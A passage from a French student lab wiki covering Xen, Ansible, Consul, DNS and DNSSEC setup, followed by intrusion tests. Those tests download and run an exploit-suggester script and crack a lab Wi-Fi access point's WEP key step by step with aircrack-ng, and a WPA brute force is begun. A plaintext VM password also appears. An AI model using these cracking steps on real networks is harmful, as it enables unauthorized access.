&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
 &lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
(Sans les espaces des accolades encore une fois)&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 2,&lt;br /&gt;
        &amp;quot;retry_join&amp;quot;: [&amp;quot;172.26.145.101&amp;quot;],&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/web.json&amp;lt;/code&amp;gt; contient : &lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;service&amp;quot;: {&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;web-bellerose&amp;quot;,&lt;br /&gt;
 		&amp;quot;tags&amp;quot;: [&amp;quot;boris&amp;quot;,&amp;quot;louis&amp;quot;,&amp;quot;web&amp;quot;],&lt;br /&gt;
 		&amp;quot;port&amp;quot;: 80&lt;br /&gt;
 	},&lt;br /&gt;
 &lt;br /&gt;
 	&amp;quot;check&amp;quot;: {&lt;br /&gt;
 		&amp;quot;id&amp;quot;: &amp;quot;webport&amp;quot;,&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;Simple HTTP GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;http&amp;quot;: &amp;quot;http://172.26.145.106&amp;quot;,&lt;br /&gt;
 		&amp;quot;interval&amp;quot;: &amp;quot;10s&amp;quot;,&lt;br /&gt;
 		&amp;quot;timeout&amp;quot;: &amp;quot;1s&amp;quot;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58014</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58014"/>
				<updated>2022-01-12T12:47:21Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
